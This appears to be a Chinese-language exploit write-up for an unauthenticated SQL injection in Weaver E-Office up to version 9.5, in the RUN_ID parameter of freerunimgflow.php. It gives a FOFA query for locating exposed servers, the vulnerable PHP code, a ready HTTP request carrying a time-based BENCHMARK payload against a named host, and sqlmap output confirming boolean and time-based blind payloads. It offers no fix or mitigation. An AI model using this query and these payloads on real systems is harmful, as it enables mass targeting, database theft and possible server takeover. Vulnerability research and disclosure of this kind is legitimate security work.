漏洞简介
泛微E-Office是一款标准化的协同 OA 办公软件,泛微协同办公产品系列成员之一,实行通用化产品设计,充分贴合企业管理需求,本着简洁易用、高效智能的原则,为企业快速打造移动化、无纸化、数字化的办公平台。泛微e-office freerunimgflow.php 接口处存在SQL注入漏洞,未经身份验证的恶意攻击者利用 SQL 注入漏洞获取数据库中的信息(例如管理员后台密码、站点用户个人信息)之外,攻击者甚至可以在高权限下向服务器写入命令,进一步获取服务器系统权限。
影响版本
e-office <=9.5
fofa语句
app="泛微-EOffice"
漏洞分析
general/workflow/freerunimgflow.php 业务逻辑如下
<?php
include_once( "inc/conn.php" );
include_once( "inc/img_flow.inc.php" );
include_once( "inc/img_patten.inc.php" );
$connection = openconnection( );
$sql = "\r\n SELECT PRCS_ID FROM flow_run_prcs \r\n\t\t WHERE RUN_ID=".$_REQUEST['RUN_ID']." \r\n\t\t GROUP BY PRCS_ID ASC \r\n ";
$res = exequery( $connection, $sql );
RUN_ID 被直接拼接进SQL语句后执行,无任何过滤校验,造成SQL注入漏洞。
漏洞复现
GET /general/workflow/freerunimgflow.php HTTP/1.1
Host: eoffice.mrxn.net:8082
Cookie: RUN_ID=1 AND 9814=BENCHMARK(5000000,MD5(0x55615462))

成功在延时 5 秒
sqlmap 结果如下
sqlmap identified the following injection point(s) with a total of 378 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: RUN_ID=1 AND 4540=4540
Type: time-based blind
Title: MySQL < 5.0.12 AND time-based blind (BENCHMARK)
Payload: RUN_ID=1 AND 9814=BENCHMARK(5000000,MD5(0x55615462))
--- 

